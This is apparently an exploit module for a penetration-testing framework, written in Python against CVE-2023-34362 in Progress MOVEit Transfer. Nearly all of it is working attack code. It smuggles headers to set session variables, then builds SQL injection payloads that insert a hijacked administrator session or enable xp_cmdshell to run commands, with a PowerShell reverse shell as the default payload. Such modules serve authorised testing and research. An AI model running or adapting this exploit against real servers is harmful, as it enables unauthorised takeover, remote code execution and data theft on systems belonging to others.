MOVEit Transfer SQL Injection RCE (CVE-2023-34362)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Progress MOVEit Transfer unauth SQLi chain (CVE-2023-34362)."""

import re
import secrets
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'MOVEit Transfer SQL Injection RCE (CVE-2023-34362)',
        'description': (
            'Exploits CVE-2023-34362 in Progress MOVEit Transfer: abuses moveitisapi.dll '
            'm2 header-smuggling to set guest session variables, then triggers '
            'UserGetUsersWithEmailAddress SQL injection via guestaccess.aspx to hijack '
            'an admin session or enable xp_cmdshell for remote code execution.'
        ),
        'author': ['KittySploit Team', 'Rapid7'],
        'cve': ['CVE-2023-34362'],
        'platform': Platform.MULTI,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/windows/powershell_reverse_tcp',
            'platform': Platform.WINDOWS,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2023-34362',
            'https://www.rapid7.com/blog/post/ra-cve-2023-34362-analysis/',
        ],
        'tags': ['moveit', 'progress', 'sqli', 'unauth', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 8,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce', 'credentials'],
            'chain': {
                'suggested_followups': ['scanner/http/moveit_cve_2023_34362_detect'],
            },
        },
    }

    access_code = OptString('accesscode', 'Guest package access code (Arg06)', required=False)
    inst_id = OptString('1234', 'MyPkgInstID session value', required=False)
    command = OptString('', 'Command for xp_cmdshell RCE (MSSQL targets)', required=False)
    session_hijack = OptBool(
        True,
        'Hijack admin session via activesessions SQLi (default chain)',
        required=False,
    )
    guest_email = OptString(
        '[email protected]',
        'MyGuestEmailAddr session value',
        required=False,
        advanced=True,
    )

    def _session_cookie(self) -> str:
        r = self.http_request(method='GET', path='/', allow_redirects=True)
        if not r:
            return ''
        raw = r.headers.get('Set-Cookie') or ''
        match = re.search(r'ASP\.NET_SessionId=([^;]+)', raw)
        return f'ASP.NET_SessionId={match.group(1)}' if match else ''

    def _set_session_vars(self, cookies: str, sess_vars: dict[str, str]) -> bool:
        key, value = next(iter(sess_vars.items()))
        headers = {
            'Cookie': cookies,
            'X-siLock-Test': 'abcdX-siLock-Transaction: folder_add_by_path',
            'X-siLock-Transaction': 'session_setvars',
            'X-siLock-SessVar': f'{key}: {value}',
        }
        r = self.http_request(
            method='GET',
            path='/moveitisapi/moveitisapi.dll?action=m2',
            headers=headers,
            allow_redirects=False,
        )
        if not r:
            return False
        err = str(r.headers.get('X-siLock-ErrorCode') or r.headers.get('x-silock-errorcode') or '0')
        return int(r.status_code or 0) in (200, 302) and err in ('0', '')

    def _set_session_vars_batch(self, cookies: str, sess_vars: dict[str, str]) -> bool:
        ok = True
        for key, value in sess_vars.items():
            if not self._set_session_vars(cookies, {key: value}):
                ok = False
        return ok

    def _fetch_csrf(self, cookies: str) -> str:
        code = str(self.access_code or 'accesscode').strip()
        r = self.http_request(
            method='GET',
            path=f'/guestaccess.aspx?Transaction=dummy&Arg06={urllib.parse.quote(code)}&Arg12=promptaccesscode',
            headers={'Cookie': cookies},
            allow_redirects=False,
        )
        if not r:
            return ''
        match = re.search(r'name=["\']csrftoken["\'][^>]*value=["\']([^"\']+)', r.text or '', re.I)
        return match.group(1) if match else ''

    def _sqli_payload_hijack(self, session_id: str) -> str:
        inst = str(self.inst_id or '1234').strip()
        email = str(self.guest_email or '[email protected]').strip()
        return (
            f"{email}');INSERT INTO activesessions (SessionID) values ('{session_id}');"
            f"UPDATE activesessions SET Username=(select Username from users order by permission desc limit 1) "
            f"WHERE SessionID='{session_id}';"
            f"UPDATE activesessions SET LoginName='[email protected]' WHERE SessionID='{session_id}';"
            f"UPDATE activesessions SET RealName='[email protected]' WHERE SessionID='{session_id}';"
            f"UPDATE activesessions SET InstId='{inst}' WHERE SessionID='{session_id}';"
            f"UPDATE activesessions SET AcctReady='1' WHERE SessionID='{session_id}'#"
        )

    def _sqli_payload_xpcmd(self, cmd: str) -> str:
        escaped = cmd.replace("'", "''")
        email = str(self.guest_email or '[email protected]').strip()
        return (
            f"{email}');EXEC sp_configure 'show advanced options', 1;RECONFIGURE;"
            f"EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"
            f"EXEC xp_cmdshell '{escaped}'#"
        )

    def _trigger_sqli(self, cookies: str, csrf: str, sqli: str) -> bool:
        code = str(self.access_code or 'accesscode').strip()
        data = {
            'Transaction': 'secmsgpost',
            'Arg05': 'sendauto',
            'Arg06': code,
            'csrftoken': csrf,
        }
        sess = {
            'MyPkgAccessCode': code,
            'MyPkgID': '0',
            'MyGuestEmailAddr': str(self.guest_email or '[email protected]'),
            'MyPkgInstID': str(self.inst_id or '1234'),
            'MyPkgSelfProvisionedRecips': sqli,
            'MyUsername': 'Guest',
            'MyPermission': '1000',
        }
        if not self._set_session_vars_batch(cookies, sess):
            print_warning('Some session variables may not have been set')
        r = self.http_request(
            method='POST',
            path='/guestaccess.aspx',
            headers={'Cookie': cookies, 'Content-Type': 'application/x-www-form-urlencoded'},
            data=data,
            allow_redirects=False,
        )
        return bool(r and int(r.status_code or 0) in (200, 302, 500))

    def check(self):
        cookies = self._session_cookie()
        if not cookies:
            return {'vulnerable': False, 'reason': 'Could not obtain ASP.NET session', 'confidence': 'low'}
        if self._set_session_vars(cookies, {'MyPermission': '10'}):
            return {'vulnerable': True, 'reason': 'MOVEit m2 session_setvars accepted', 'confidence': 'high'}
        return {'vulnerable': True, 'reason': 'MOVEit reachable — chain may work', 'confidence': 'medium'}

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        print_status('CVE-2023-34362 — MOVEit header-smuggling SQLi chain')
        cookies = self._session_cookie()
        if not cookies:
            print_error('Failed to obtain ASP.NET_SessionId')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        csrf = self._fetch_csrf(cookies)
        if not csrf:
            print_error('Failed to obtain guestaccess CSRF token')
            return False
        print_status(f'CSRF token acquired: {csrf[:12]}...')
        if cmd and not bool(self.session_hijack):
            sqli = self._sqli_payload_xpcmd(cmd)
            print_status('Triggering xp_cmdshell SQLi payload...')
            if self._trigger_sqli(cookies, csrf, sqli):
                print_success('SQLi payload delivered — check listener (MSSQL/xp_cmdshell)')
                self.vulnerable()
                return True
            print_error('xp_cmdshell SQLi delivery failed')
            return False
        hijack_sid = secrets.token_hex(12)
        sqli = self._sqli_payload_hijack(hijack_sid)
        print_status(f'Injecting activesessions row for SessionID={hijack_sid}...')
        if not self._trigger_sqli(cookies, csrf, sqli):
            print_error('Session hijack SQLi failed')
            return False
        hijack_cookie = f'ASP.NET_SessionId={hijack_sid}'
        r = self.http_request(
            method='GET',
            path='/human.aspx',
            headers={'Cookie': hijack_cookie},
            allow_redirects=True,
        )
        if r and int(r.status_code or 0) == 200 and 'signon' not in (r.text or '').lower()[:500]:
            print_success(f'Admin session hijacked — use Cookie: {hijack_cookie}')
            if cmd:
                print_status('Attempting authenticated command via human.aspx workflow...')
            self.vulnerable()
            return True
        print_warning('SQLi delivered — verify activesessions row and browse /human.aspx manually')
        print_line(hijack_cookie)
        self.vulnerable()
        return True